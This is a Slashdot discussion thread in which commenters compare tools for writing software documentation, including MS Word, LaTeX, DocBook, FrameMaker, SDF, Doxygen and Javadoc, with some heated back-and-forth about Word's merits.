    Since it seems we have two conversations going I thought I would interject with a form of documentation. In Code Complete Steven McConnell talks about the PDL or Programming Description Language. Basically its starts out as documentation but you keep refining each piece till you get to the point the easiest way to describe a function is through code. I now use PDL when Im coding prefacing everything with 'PDL- its an easy way to lift all the description out of the code later and gives anybody behind a good grounding in what my code is doing. Quite frankly I hate trying to make my way through someone else's code, its not fun. Had to once look through an Access-based program using Macros and modules developed by a brokerage. A book-think worth of code MAYBE a page worth of comments, DROVE ME INSANE! Oh well, PDL good stuff look into it, you will remember what you wrote and everyone around you will thank you for helping them understand.

  170. doctext by schwep · · Score: 1

    A javadoc type of source code parser that produces html or LaTex or just about whatever you want (with the proper configuration files) formatted documents.

    I have been using this with great sucess at work, and it is free & runs under Linux or Cygwin. With a bit of scripting and some comment disapline, inline comments become good documentation.

  171. Maybe you aren't using it effectively by Weasel+Boy · · Score: 1

    "MS Word is about the worst tool around for writers."

    "The problem is that it forces, FORCES, you to deal with presentation issues at all times."

    I sharply beg to differ.

    Naturally, you want to compose the structure and content of your document first, and worry about presentation later. I can hardly imagine any sensible writer doing otherwise. In Word, this is trivially easy.

    The key is to write your document in Outline View. For all of its warts, Word has the best outline editor I've ever used. Use the outline view to create your sections and subsections; fill in body text blocks; and rearrange to your heart's content. Use change bars to track your changes if that's important to you.

    Once the content is in place, note that the different levels of headers are associated with styles -- very convenient! All you have to do is define your styles, and *poof!* the presentation aspect of your document is done. Better yet, define your styles ahead of time and save them in a temlpate. Note also that your table of contents is trivially generated from your outline headers.

    If you don't want to be annoyed by the instant spelling and grammar checkers, just turn them off. I do.

    While I detest the anticompetitive business practices of MS as much as the next mustelid, I have yet to encounter a better application for most writing tasks than MS Word. It's not perfect, but it's better than the competition. Its cross-referencing capabilities are a bit weak for academic or scientific publishing, but for general technical writing it is excellent.

  172. Structured markup is the only way to fly... by Ed+Bailey · · Score: 1

    I've written a book, and several editions of a good-sized manual in LaTeX, and migrated that manual over to DocBook/SGML, and have found that working with DocBook is *much* better.

    There are the initial learning curve issues, and you've got to find a writing tool that you like to use (I personally swear by Emacs' psgml-mode, but that's just me), but it is *so* much better than writing LaTeX.

    Now don't get me wrong -- I've used LaTeX to typeset some *beautiful* output; it's great at that. However, in an environment where you can live with output that's 80% as good as LaTeX (with the lack of flexibility that missing 20% implies) and you want to do it in 10% of the time it takes to get the LaTeX "just right", something like DocBook just can't be beat...

  173. SmartDoc by Anonymous Coward · · Score: 0

    Check out SmartDoc, which processes XML-base document and convert to HTML3, HTML4, LaTex2e, plain text, and JavaHelp. It is a command line program written in Java. There are also support programs such as converter to man, MagicPoint, and so on. http://www.asahi-net.or.jp/~dp8t-asm/java/tools/Sm artDoc/

  174. Hardware stability? by MrResistor · · Score: 2
    It seems like you have a lot of stability problems. Perhaps you should look at your hardware as the culprit? I've had more than a few experiences where I thought crappy code was causing all my crashes only to discover that my CPU was running hot due to a flakey fan or poorly installed HSF, or my hard drive was dying. Maybe your hardware just isn't up to the task?

    I've used Word for a few years now and I've never had stability problems (although I nearly choked when you mentioned MS Word and HTML in the same sentence). Nor have I had any problems with OpenOffice 6.x, which I've been using for over a month now. OpenOffice is my recomendation for you, especially if you have legacy Word documents. I haven't run into problems with any of the MS Office formats in OpenOffice yet. It does like to warn me whenever I save to one, but so far it's been all bark and no bite. And, of course, it's available on multiple platforms.

    --
    Under capitalism man exploits man. Under communism it's the other way around.
  175. I switched by fireboy1919 · · Score: 5, Insightful

    I wrote a publication (16 pages, IEEE format) for Word and it was a REAL pain. Word stored the whole document in memory, which actually meant that part of it was cached to hard drive. I work in the Field of Computer Vision, so I necessarily had about 10 megs of images in there. Occasionally, that would be too much for the operating system, and I'd have to wait 15 minutes or so for the memory manager to catch and resolve some thrashing issues.

    Also, every time I changed anything at all, Word would move around the pictures and mess everything up - even though I had all the pictures positioned as "absolute." At the end of the publication, any 3 minute change at the beginning of the document took half an hour to fix.
    For the next publication, I did everything in Latex. The added bonus there was that format is separate from content, and the format descriptors where already written by IEEE (and by my school for my thesis).

    --
    Mod me down and I will become more powerful than you can possibly imagine!
    1. Re:I switched by LadyLucky · · Score: 1
      Odd.

      I opened and referenced (OK, didnt edit), the entire HL7 (its a health messaging format) specification in word a few weeks back. It's over 1000 pages. Very smooth, very scrollable, very everything. It took ages to open, but that was OK because it did it in the background. Memory usage was modest, and CPU, well, after 30 mins of CPU time (low priority here) I turned off spell/grammar checking and that sorted that.

      Time to upgrade that 486?

      --
      dominionrd.blogspot.com - Restaurants on
    2. Re:I switched by Curieus · · Score: 1

      I don't think it is a CPU problem, or not enough power.
      I have often seen the same behaviour the poster described, and it is linked to figures and figure placement.
      What i suspect is that the program goes into some strange loop that goes like this..

      "Hmmm where shall i put this picture....
      here,
      hey the placement marker now is on the next page, and is absolute, so i think i should move the pic to the next page.
      here,
      hey the placement marker now is on the previous page, and is absolute, so i think i should move the pic to the previous page. "

      If there is only one marker, it resolves pretty quickly, but once more than one marker starts to jump pages all hell breaks loose.
      And we are not even talking about the joys of OLE...

  176. Free for Personal use "EasyOffice" by betanerd · · Score: 0

    http://www.e-press.com

    Can Export to many file types including PDF


    -

    --
    Insert sig here (slashdot) Insert cig here (Lewinsky)
  177. Just use HTML... by mengel · · Score: 1
    I've found that lately I prefer to just use plain HTML.
    • You can edit it with a plain editor, or with a pretty one like amaya, or of course emacs HTML mode...
    • You can print it nicely with html2ps or in some cases with whatever browser you think doesn't do too horrible of a job.
    • converting to HTML is a no-op
    • if you keep it in CVS you can use easy hacks to cvsweb to make the revision history and current and past versions browsable on the web.
    --
    - "History shows again and again how nature points out the folly of men" -- Blue Oyster Cult, 'Godzilla'
  178. Autoduck - Unsupported Microsoft by Embedded+Geek · · Score: 2
    I hate plugging Microsoft, and I doubt this is the only tool of this ilk out there, but there's an unsupported tool they created called autoduck (page bottom) that we've used with some success. You put the documentation into your source code, marking them with tags. Autoduck pulls them out, then parses them into a help file or an RTF file for importing into Word or WP. Seems ideal for documenting APIs, but we've found other uses, too. I think it originally shipped with VB, but I'm not sure.

    And, yes, I know that a flame could argue that many other commercially sold Microsoft products could be called "unsupported tools," so let's try to steer any jokes onto a different track...

    --

    "Prepare for the worst - hope for the best."

  179. autoduck by Anonymous Coward · · Score: 0

    We've used autoduck for a while, it's pretty useful for generating a wide range of stuff iff you want to learn its nasty syntax. It's a freeware package, sources included. Windows focus.

  180. Word? MS Word? by Jacek+Poplawski · · Score: 1

    I am sorry, but does anyone really uses MS Word for writing documentation? Why? Probably it is also possible to write documentation in GIMP or 3D Studio/Blender, but what for?

    There is Doxygen - perfect tool for documenting source (that graphs!!!). There is LyX for writing nice looking text (yes, I don't know LaTeX). And there is vim (and many other editors) for writing simple text. So why MS Word????

  181. Structured Text by slasher69 · · Score: 1

    I can't believe no one has mentioned Structured Text yet. It's really simple (you only have to learn a few simple rules of editing plain text ASCII files to express structure) and pretty intuitive (it's like Python in the sense that your indentation expresses your structure). You can convert it to decent looking html with existing scripts (that come with zope). You can convert this generated html into .pdf automatically using the GPL htmldoc program . And the Zope book was written in Structured Text, to prove that it scales.

  182. Try AurigaDoc by mrdon_59 · · Score: 1
    Its not very fancy, but I've had a lot of success with AurigaDoc . It allows you to write your documentation in XML and then convert it to PDF, single page HTML, or multi-page HTML. Basically, its just a set of stylesheets but it does a good job of handling basic HTML formatting (including tables and lists) and translating it into the various formats.

    Don

  183. In praise of DocBook by PhilRod · · Score: 5, Interesting
    Nobody seems to have mentioned the great advantages of DocBook here. Having written some bits of documentation for KDE, I've seen some of DocBook's advantages:
    • First off, it's fully compliant SGML or XML, whichever flavour you prefer. DocBook documents are stored as nice plain ASCII which can be processed with any SGML/XML tool you happen to have lying around.
    • Output options are virtually unlimited. IIRC, HTML, man, texinfo, plain text, (La)TeX and anything else you care to mention are available as output formats, with XSL providing a way to produce your own custom output.
    • The Crunch: Text is marked-up for what it is, not what it's meant to look like, so you needn't know a single thing about formatting while writing content and vice versa. You know the advantages of using CSS instead of hard-coding HTML. Well, they count for DocBook too.
    • Nifty features like creating tables of contents from the source and all that sort of thing that you thought only TeX could do.
    • I suppose I should mention that it's extensible, hence the XML version.
    --PhilRod
    --
    KDE Documentation Team: http://i18n.kde.org/doc
  184. TeX gone? Nope. by Grendel+Drago · · Score: 4, Interesting

    Uh, no.

    METAFONT is pretty much integrated into TeX if you're using... well, I've only used teTeX and MiKTeX, but there are scripts to autogenerate any fonts that are needed.

    And... well, you can't compete with the userbase. It's been a standard for nearly twenty years. The original program is probably as close to bug-free as any large piece of software can possibly be. Did I mention the enormous userbase?

    TeX is far from dead. It's Knuth's dream that a TeX file written today will be compilable and readable in a hundred years. Given how entrenched the system is, I think this is quite likely.

    -grendel drago

    --
    Laws do not persuade just because they threaten. --Seneca
    1. Re:TeX gone? Nope. by Nailer · · Score: 2

      > Uh, no.

      Well, you disgree.

      > METAFONT is pretty much integrated into TeX if
      > you're using... well, I've only used teTeX and
      > MiKTeX, but there are scripts to autogenerate
      > any fonts that are needed.

      I'd be much happier if it wasn't. I'm more than willing to give it a go if there are soem I've missed, but almost all the scripts I've tried have had issues with certain fonts. Since these aren't part of Tex, their reliability seems to be more a concern. But I might be wrong - if you can point me to a reliable ttf2mf script or sample code I'd be grateful, and change my mind on the topic.

      And... well, you can't compete with the userbase.

      I think StarOffice is more than capable of competiting with the userbase of not only Tex but Microsoft Office, which is infinitely larger. It provides all the advanatages of a structured presentation independent documentation system, a modern font system, XML/XSLT, and a killer GUI editor (or just hack at in in vi and sh if you'd prefer). Now 6 is more modular and reliable, it really has a chance of doing well.

      It's been a standard for nearly twenty years.

      And it has a dwinling userbase because people that use computers these days are impatient and non technical. StarOffice represents a good chance to have Joe User create real documents, and is a joy for the mroe technical of us to work with.

      The original program is probably as close to bug-free as any large piece of software can possibly be. Did I mention the enormous userbase?

      So is hello world. As good as tex is, I don't see it ever appealing to Joe Average. And for the rest of us, XML won the file format wars and we're glad it did.

      Mike

    2. Re:TeX gone? Nope. by Dekel · · Score: 1
      > METAFONT is pretty much integrated into TeX if you're using...

      TeX doesn't know anything about fonts. It only uses font metric files (.tfm). The job of handling fonts is left for the dvi-to-x program.
      Dvips can handle any postscript font, and TrueType fonts can easily be converted to postscript (type 42).
      Dvipdfm can handle both postscript and TrueType fonts (pdftex also handle both type of fonts).

  185. Framemaker is best. by deragon · · Score: 1

    Off course, javadoc, doxygen and such are required for inline comments within the code. But if you want to document the design at a high level and think about a word processor, and cost is not an issue, Framemaker is it.

    Framemaker is the best word processor out there, far ahead of the others (at least, Word and WordPerfect). You can manipulate the document from command line, you can edit its mif version with an ascii editor, can generate xml, html, pdf, etc... This is a great tool for team work. In one of my previous project, each team (13) wrote a chapter (1 file per chapter). At build time, the makefile would extract all chapters, build the doc using framemaker command line tools (setup the version, pages, etc..) and update the website containing the documentation and the software automatically. Instruction to build the project: type "make" and all can be found on the website (assuming of course no compile error occured, which never happened. :))

    Sadly, it is soo expensive that I do not use it since I left Nortel. I wish it would be open source...

    Note, I never used Latex and Texinfo, so I am missing some experience with non WYSIWYG tools.

    --
    Remember the year 2000? They promised us flying cars. They delivered the PT Cruiser...
  186. Always assume code is final... by Anonymous+Brave+Guy · · Score: 2
    The sad thing is, in real life pointy haired people jump in after the prototype has settled and cut the rest of the development because "it's already good enough".

    This is true, and the way the world works. Since you can't change it, it therefore makes sense to adapt your development process to it. Don't write "temporary" code. By all means prototype, but always write to production standard. No lazy organisation, crappy identifiers or forgotten error checking should be allowed, as a matter of good practice.

    If you're going to leave an area of code unfinished for more than a few minutes, it's also smart to include some sort of marker message that comes up every compile/run to warn about this. That way, no code that's not up to standard ever goes unreported.

    --
    If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
  187. LinuxDoc(SGML) is what you seem to want! by Anonymous Coward · · Score: 0

    Source is simple ascii!
    Easy to produce, professional-looking PDF and HTML.

    That seems to meet all your requirements!
    On a redhat based distro, do

    rpm -ql sgml-tools | grep guide

    to get started.

  188. Re:No question - use LaTeX - DVIPDFM by fatbitch · · Score: 1
    also don't forget dvipdfm

    Excellent dvi-> pdf convertor

  189. SDF? by mOdQuArK! · · Score: 2

    Is anyone using SDF (Simple Document Format)? I ran across it at http://www.mincom.com/mtr/sdf - the last update was at 25-May-99, so I don't think it's being actively maintained anymore (unless it's being maintained elsewhere).

    1. Re:SDF? by Circuit+Breaker · · Score: 1

      I'm using SDF on a regular basis at work, and have been doing so for 3 years or so. Together with the wonderful htmldoc (from easy software products, it can turn any textfile into a beautiful, production quality document in no time.

      Whenever I have to send out .doc files, I ask SDF to convert to .html, load it from word and save it as .doc (the default .rtf output sucks).

      SDF is great - the input is still 100% readable as a plain textfile, and LaTeX, HTML, PDF and FrameMaker conversions are simply awesome. Unfortunately, it's no longer maintained, and even the download files aern't there anymore. Still, I've been using it for 3 years, and haven't encountered a single bug. The documentation is superb and -- if all else fails -- read the source, luke!

      I am considering a switch to Doxygen - the input still remains human readable (although less so than SDF), and it has better support for LaTeX formulas and output formats.

  190. Writing documentation by blibbleblobble · · Score: 1

    I like many word processors, most of all Word which was the best thing Microsoft ever wrote. Now I use abiword where I can, and try not to use any pictures ;-)

    But for documentation, nothing beats writing perl scripts. In my last job, I had to write a big-ass test script, and not only did I have perl to generate the code for me, but to generate comments, and HTML documentation too.

    Simply, just put a /* FunctionDoes: blah bah */ style of comment in, or whatever your regular commenting style, then write a perl script to convert them all to HTML. It knows your function names, it can find out the arguments, and it takes about 30 lines of code.

    Beats re-typing it any day.

    1. Re: Writing Documentation by Tracian · · Score: 1

      Cliff,

      I had similar experience with ms word but was enduring them until maybe year ago when it became to much to wrestle every day several hours with "intelligent" application that thinks that it knows how document should look better than I. The last straw were (and I can still reproduce them from time to time):

      1) reformating one buleted list in complex document causes automatic reforating of all other bulleted lists,
      2) changing block of the text into some of the header forms (or in the body text, etc ...) changes all of the sudden location and default font family in which that text is displayed.

      It is user (and not the application) who should be in control of the layout of the document and its appearance.

      Since I cound not avoid writing numerous documents (part of the job), I found following solution that works for me:

      i) write document in XML,
      ii) transform it (via XSLT) into html,
      iii) load that html file into ms word, tweak it, export it in rtf (ms rich tect format) format,
      iv) send the document to the other members of group

      I took me couple of weeks of my free time to
      develop the initial DTD and XSLT files, and now I keep changing them as I realise that some new tag or attribute is necessary/handy. XML IDE of choice (XML Spy) is able to display in parallel the source code (of XML) and its appearance as in browser so I can write documents quite rapidly.

      Advantages of this approach are
      separation of content (text and logical organization of data) and appearance/presentation, my documents do not depend on the version of any software (xml files is essentialy plain text , editable by any text editor),

  191. Two problems with binaries in repositories by Anonymous+Brave+Guy · · Score: 2

    There are two major problems with storing binary formats in repositories: diff'ing and merging. If you want to establish the differences between two versions, you are reliant on the tool that created the document to do this for you. (MS Word does, of course, but this is a problem in general.) Further, if you want to allow multiple people to edit at the same time, you can do it and merge semi-intelligently with text-based formats. I don't know of any word processor with a binary format where I can be editing chapter 1 of our main design document, my colleague can simultaneously edit chapter 3, and we can get all the changes back in with no more than a check to resolve any conflicts.

    --
    If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
  192. DocBook by tylerdave · · Score: 1

    In my opinion, DocBook (http://www.docbook.org) would offer you the mose flexibility in terms of document content and output options. What might work even better for you would be to have your own format, possibly your own XML DTD, that you'd edit the source in, and then process it (via XSLT in the case of your own XML DTD) to get docbook formatted XML. At that point you'd be able to produce any kind of output you'd like (print, web, online help).

  193. I vote for LaTeX by Anonymous Coward · · Score: 0

    Use LaTeX, not TeX. ascii, processed a million different ways...to pdf, ps, html, etc.

    for LaTeX to html, the best I've used so far is htlatex/httex the link is on the www.tug.org page somewhere.

  194. Apache Cocoon... by graveyhead · · Score: 3, Informative

    apache cocoon is an awesome publishing tool. I recently created a site that creates a web site and a series of PDF documents from the same source. Your input documents are as simple as you want them to be, because you define it yourself and transform it into HTML or XSL:FO via XSLT.

    --
    std::disclaimer<std::legalese> sig=new std::disclaimer; sig->dump(); delete sig;
    1. Re:Apache Cocoon... by graveyhead · · Score: 1

      Damn sorry, that link should have been this one.

      --
      std::disclaimer<std::legalese> sig=new std::disclaimer; sig->dump(); delete sig;
  195. The obvious answer by thockin · · Score: 1

    The obvious answer is to write the (at least the skeleton of) the docs FIRST. Then your work is easy.

  196. Txt2Html by Lulu+of+the+Lotus-Ea · · Score: 1

    I have written a Python utility for converting "smart ASCII" to HTML (and another one for XML). I plan to adapt this to LaTex, but it hasn't happened just yet. The format I call "smart ASCII" is probably even simpler than that used by aft, but the idea is the same. Basically, just use the same simple conventions you would in writing email or a newsgroup post.

    I've written about this utility in several IBM developerWorks articles (most using it just as a touchstone). Probably the best starting place is:

    http://gnosis.cx/publish/programming/txt2dw_tip. tx t

    Links to related articles (and to the source) can be followed from there.

  197. The reason you hate writing documentation... by kindbud · · Score: 2

    You hate it because you are doing it at the wrong time. Write your documentation before you write one line of code. Then proceed to write your code to implement the documented features, instead of later trying to document poorly documented source code. ;)

    Viola. Cello. Whatever.

    --
    Edith Keeler Must Die
  198. You should check out sdf by Tails · · Score: 0
    SDF (which stands for simple document format) is easy to use and can generate output in HTML, PostScript, PDF, man pages, POD, LaTeX, SGML, MIMS HTX and F6 help, MIF, RTF, windows help and plain text.

    Of course it also does more, but the only way to get the skinny is to visit it's homepage at: http://www.mincom.com/mtr/sdf/

    Enjoy! -- Tails

    --
    --
  199. quark & simpletext - no, really by spasm · · Score: 1

    I used to work at a small-town newspaper - we gave all the reporters old macs with nothing but simpletext and excaliber (drag&drop spellcheck, usually comes bundled with the mac version of latex). Reporters had to actually concentrate on content not layout. Once written, a story was kicked to a single layout person who pasted the whole lot into quark & fussed about with presentation. Jacked our production rate *way* up from an earlier system involving reporters prettyifying their work in word before layout people had to strip it all back out before pasteup..

  200. I don't understand the question by rho · · Score: 2

    Are you writing design documentation? Or product documentation? i.e., are you writing for programmers or users?

    Programmers almost never should write documentation for users, if that's what you're talking about. Docbook, YODL, AutoGen PodPeople MagicDoc... none are appropriate documentation methods for users.

    Design documentation, however, is different.

    --
    Potato chips are a by-yourself food.
  201. Word Alternative by JoeyPea · · Score: 1
    Have you tried Adobe FrameMaker? I've found it to more stable for the 200+ page docs.


    If you're stuck using Word (as I am, because of work stipulations), try using its more advanced features. Read the Help files on Styles. This will keep a lot organized and make the program ship-shape itself a bit better.

  202. Re:StarOffice 6 XML. *waves goodbye to Tex forever by PONA-Boy · · Score: 2, Informative

    *SHHESH* !!!!

    FINALLY, a post which really talks to the question this thread was started for!!!

    Damn that .sig was right: "Putting a lameness filter on Slashdot is like putting a shit filter on your ass!!!"

    We _all_ have to, at one time or another, create documentation for something. I have to create documents for the Luddite users on my network so they know how to keep their trousers from becoming unzipped in front of their customers...

    I have used Word on a great many of these documentation projects, great *and* small. It has always performed fine for me. There are a crapload of features I'm sure I could be taking advantage of to make my documentation even snazzier but I'm too lazy to really LEARN Word. Like as not I've been holding out for an Open Source alternative like Star Office or something to step up to the plate...and the latest version really holds up well. Compatibility with MS-Office's formats helps a great deal with the transition and it is available for Windows AND *n*X.

    For exeptionally large jobs, I would recommend an actual professional layout package like PageMaker/FrameMaker on the closed source OS's. For simplicity's sake, TeX and LaTeX for simple ASCII-text-with-markup in them.

    Your subject and your audience really dictate the format and platform of your documentation. A new version of Apache doesn't come with a README in Word/RTF format but your latest FPS game will.

    -PONA-
    King of the Who?.sig

    --
    +that's funny...I don't FEEL tardy.+
  203. Javadoc by StillNeedMoreCoffee · · Score: 1

    Of course you should be using Javadoc which automatically formats linked HTML pages for documentation. The Java runtime specification book was actually a Javadoc from the code. So the system can do more complex formats.
    Of course that pre-supposes your using Java, or maybe a reason for using it.

  204. Perl + Win32::OLE; by JojoLinkyBob · · Score: 1

    IMHO this is the best way to go. You can use Perl with Win32::OLE to generate your word files, adding in all the pretty formatting, especially if you ever need to automate any of it.

    --
    -jc
  205. Use an Outliner by Lysander+Luddite · · Score: 3, Interesting

    Use an outliner. There are several out there, the one that springs to my mind immediatley is Omni Outline (www.omnigroup.com).

    Using an outliner allows great hierarchical structure allowing you to edit quickly.

    A good outliner will also output to HTML/XML where you can apply a CSS file for both screen/print mediums. Mozilla, even IE 5+ will ensure your docs appear how you want. Heck, you can change the CSS file and not worry about the presentation at all. Just create a few CSS templates and off you go.

    I don't know why you'd make it harder than you have to.

  206. FrameMaker is a Very Good Solution. by snogwozzle · · Score: 2

    I manage Technical Publications for small platform-agnostic music/audio SW technology company known for a browesr plug-in, but also established in the mobile world. My group does all the documents that the outside world (licensees, end users) see describing our products and how to use them:

    • End User Guides for GUI music editor apps
    • API References for our technology licensees (incl. Overview, How To Use, Method References, techNotes, etc.)
    • Quasi-marketing stuff like data sheets/specs/books

    All these document types (and more, actually) can be delivered in plain HTML, HTML with a JavaScript viewer system, PDF, and we can even go to film for old-fashioned printing. (You, as in 'on paper, from a printing press'?) The output not only looks great, and conforms to the company's overall style/graphic identuty, it even looks consistent in all the output formats.

    How do we do this? We build all our documents in FrameMaker, which does all the output except the HTML, which is done in the companion product WebWorks Publisher (WWP) from Quadralay. (Yes, I'm a Dmitry booster, and I do suffer from Adobe-user guilt in this regard, however my feelings are deeply mixed since as a denizen of the tech pubs ghetto I find FrameMaker is a solace to my otherwise tool-impoverished people...)

    But it's not just the products you use -- your practices matter at least as much. Just as in good program design, good document design is matter of deciding on a set of elements and then using just the elements -- no jerry-rigging, no kludges -- to build the whole. With FrameMaker, the elements come from a template containing Paragraph and Character formats. In WWP you create a corresponding template with the HTML tags you want for the corresponding Para and Char formats, designed to reproduce (perhaps with the help of CSS style sheets) the look of the FrameMaker formats. Once you take into account all the included illustration and book part files, every document is a lot like a SW project with lots of hieracrchically dependent parts that all need to synchronize. Think of the output formats as 'build targets. ' Just like with coding, if you follow your own rules it all works out quite nicely.

    Is this a lot of work to set up the first time? Yes indeed, but this is how the big kids do it.

    Could a coder use FrameMaker to do documentation? Possibly, if it were the right person, though this would be more likely to work well if a tech pubs person were to set the templates up for the coder. However with FrameMaker at $800 a seat this approach is probably too spendy for most sizeable shops. This system works better with a smaller number of dedicated tech pubs people serving a larger number of coders.

    Is there an easier way to automatically produce the same level of quality across a similar range of output formats? Not that you can achieve without tripling your tech pubs staff and tools budget.

    Can you automatically turn a .h file into an API Reference? Depends how good you are with Perl. I have a tool of my own that turns a .h file into a formatted, cross-referenced, TOC'd FrameMaker file, but it doesn't pull source code comments into the FrameMaker document. Not because it couldn't -- it could, if that's what you want to do -- but because frankly in my experience most of that stuff needs to be so totally restructuired and rewritten anyway that it's almost always easier to just read the function signature and start writing. (With the source open in a separate editor window, of course.)

    (Sometimes we rewrite source code comments too, but since we aren't publishing the source code in multiple formats, that just happens in BBEdit or CodeWarrior.)

    Which brings me to a secondary comment on the article title "Developers: Writing Documentation" -- While I agree that all developers should certainly document their work, I wouldn't necessarily agree that what they write should automatically be used as the product documentation that the outside world is given. Because the talent of being able to communicate about technology is not the same talent as being able to create technology. It seems a comparatively small fraction of people get to have both talents. (And of those, a comparatively small fraction will admit they can do the one they enjoy less!)

  207. Be a little wary of DocBook by beej · · Score: 4, Interesting
    I've done Beej's Guide to Network Programming in DocBook (it used to be HTML). It works quite nicely for HTML output with NWalsh's stylesheets.

    What was hard was getting it set up, and getting help out of the DocBook people in the know. (They can be pretty unapproachable sometimes.)

    What was also hard was getting print output to work nicely. I was running fine for a while until I upgraded openjade, and then blammo--two-sided print output doesn't work anymore. Openjade simply refused to put the two-side directive in the TeX output, so I did it myself.

    And what is it about my document that causes openjade to take 3 minutes to pump out TeX output, when it does the HTML in about 5 seconds?

    Why is it that when I put two tables on the same page openjade/jadetex doesn't take that into account and keeps printing text off the bottom of the sheet?

    The other place I've looked is Xerces/Xalan/Fop at Apache. I like the Formatted Objects idea, and it seems pretty sound. Also, the whole thing was about 827 times easier to set up than the jade stuff. Unfortunately, the code is alpha and doesn't work very well, sometimes crashing during the render.

    "How does ORA do it, then?" I hear you asking. They have custom in-house tools for processing DocBook that have been in development for some time. Word on the street is that they might be releasing them soon.

    Conclusion: if you want print output, you might have trouble getting what you want with DocBook at this time. At least when I code TeX it does what I say. (I don't recomment plain TeX for documentation. Maybe LaTeX since it's easier to convert to HTML. And pdf(la)tex produces nice PDFs.)

  208. LaTeX by rnturn · · Score: 2

    I'd go for LaTeX. Granted you have to get a little used to it. But I found that I could be more productive using emacs/latex/xdvi as an acceptable documentation generation toolset as I could be if I were lashed to a chair and forced to use some Windows word processor.

    Years ago, back when I could recite pages from the VMS docset and could make my own grant bus cards, we used VAX DOCUMENT for documentation. As it I discovered one night, it was nothing more than an SGML (or SGML-like) front-end to TeX. We used it for project documentation sometimes cranking out manuals of several hundred pages. While I'm sure that some DOS/Windows WYSIWYG word processor might have done the job, it would (I'm positive) have been much, much more painful.

    Sadly, the choice of tool that you use might depend on how long this documentation has to live. If you ever leave, will your employer know to look for a candidate that has experience in whatever tools you decide to use. It's unfortunate but your boss might force you to ``dumb it down''. Of course, we can all smile to ourselves over all those corporate documents that won't be readable in a few years when Microsoft decides to change the .doc format again. Happily, I have TeX/LaTeX files that are over ten years old that are still useful so you might point that out to your boss if s/he decides that you should go the MS route.

    --
    CUR ALLOC 20195.....5804M
  209. Re: PEBKAC - An Alternative by grapey · · Score: 1

    You might want to check out the PostNuke Documentation Project. We are creating content dynamically using a modularized version of PHPWiki. In a few days we should have the ability to output to a print-friendly format or to .pdf (with our new top-secret pdf module) via the regular avenues of content management within PostNuke.
    Of course it is all still under development and a lot of the new features will not be available until we release the new documentation site on Monday, but it will be worth the wait.

    The real plan is to customize a postnuke release specifically for documentation projects.
    --Grape
    PostNuke Documentation
    http://www.support.postnuke.com

    --
    --grape --PostNuke Documentation :: www.support.postnuke.com
  210. No, you're an idiot by RebornData · · Score: 5, Insightful

    I use Word almost every day, and while many of your comments are true for default behavior, you clearly have not attempted to actually learn the program. To take the issues in the order you cite them:

    1. Word actually doesn't force you to deal with presentation issues at all times. Are you familiar with outline mode? I usually do my first drafts in outline mode, which allows you to focus entirely on content and structure independent of formatting. Outline mode works with styles to specify formatting globally for a given level in the outline. So if the top level in your outline applies to chapters, you can easily define a chapter heading style that will be automatically applied to all the top-level items. It really works well.

    2. It's been said already, but it's worth repeating: Real-time spelling and grammar correction are really easy to turn off. Really easy.

    3. Lists & indentations. You should learn how to use styles. This is exactly what they are for. For example, my default template has a "bullet list" style. If I want something to be a bullet list, I apply this style to it. The "tags" aren't visible, but they effectively are there. If I ever decide that a bullet list needs to be indented differently, or have square instead of round bullets, I can make the change once for the style. Once you've set up your default doc template with a reasonable set of styles, you never have to worry about presentation during early stages.

    4. I don't understand what you say about tables.

    5. "Word documents seem to be written to Jr. High level at most"? What the hell? This is broad generalization at it's worst. I bet more doctoral dissertations are written in Word than anything else. Although I did get a good laugh thinking about what the average grade level of a /. post would be...

    Now, I'm not saying Word is the end-all be-all. I'm just saying that you're an idiot because of the 10000 things wrong with it, you've picked issues that are almost univerally untrue, and simply reflect that you haven't learned to use it.

    1. Re:No, you're an idiot by wsloand · · Score: 2, Interesting

      I bet more doctoral dissertations are written in Word than anything else.

      I'm almost sure that that isn't true. Of the five people that I know who are writing dissertations at the moment, one is using Word, three are using LaTeX, and one is using something else (can't remember what, but it's neither of those two).

      Word, by default, thinks about presentation first. I realize that your arguements state that all the defaults can be changed, but for the most part, people don't. It's very difficult to fix all the defaults, and when you go to another computer to try to fix things, you usually have to work to get things back to the way that you want them.

      Also, Word is bloated. How many multi-hundred page documents have you seen written in word? In my and my friends and colleagues experiences, it starts choking around 20 pages and dies around 50. Start adding images/figures and it'll sputter to a halt about one less page per 50K of image or per figure.

      I just finished writing a rather long document (about 40 pages), and the time that I spent on content was negligable. I adjusted the margins primarily. The system that I used is LaTeX. It worked out that I just use \filename{} to indicate a file name or directory. I used \button to indicate a button that I pressed. These were then defined at the beginning and I never think of them again. Also, it allows me to save the time of opening a massive editor (at least 20 seconds to load word on my computer while emacs loads in less than 5) each time I have to edit.

      I use word for < 5 page or < 10 page documents, but it isn't designed well by default for large complex issues. It can do them, it just takes more work than other systems.

      I would be interested to hear your rebuttal to these comments (unless you decide to flame).

    2. Re:No, you're an idiot by Mr.+McGibby · · Score: 1

      I'm almost sure that that isn't true. Of the five people that I know who are writing dissertations at the moment, one is using Word, three are using LaTeX, and one is using something else (can't remember what, but it's neither of those two).

      What are their degrees going to be in? If it's computer science or a related field, I don't think that this is a very good sample.

      --
      Mad Software: Rantings on Developing So
    3. Re:No, you're an idiot by kimihia · · Score: 1

      I use Word almost every day, and while many of your comments are true for default behavior, you clearly have not attempted to actually learn the program.

      I've emphasised a particular part of your sentence. A bit of background from me: I have used Windows since 1993 or some ridiculously long time ago - even before Windows 95. I know Word (up to Word '97) backwards and forwards. I have tutored people (my parents, folks I know, and another person old enough to be my grandmother) in the use of those programs.

      From your comment you seem to be advocating that people bend over backwards to learn something obscure. Is there such a thing as intuitive interfaces? Why does he have to spend so long changing himself to fit the mold of "standard Word user" before he can use the program?

      I have to tell you that after 7 years of MS Windows and two months of Blackbox, Blackbox is a damn sight more intuitive than MS Windows. Sure it took me a couple of minutes to learn what menues popped up where, but that was getting my bearings.

      Then about default settings. They shipped with the product set up for distractions. They want you to format as you type. They want you to get carried away frobbing knobs.

      A lot of stuff can wait for the proofing stage. Why should it be fixed now? There isn't much advantage. It distracts your flow of thoughts. Some is OK because you may forget what you meant by "larg" later on.

      That's about as far into your post as I read.

    4. Re:No, you're an idiot by muleboy · · Score: 1
      I bet more doctoral dissertations are written in Word than anything else.

      I don't know if that is true or not. However, I do know people who have lost significant portions of their dissertations thanks to Word. I have never heard of anyone losing parts of a LaTeX document.

      I also know that Word slows to a crawl and crashes a lot when working with a dissertation-sized document.

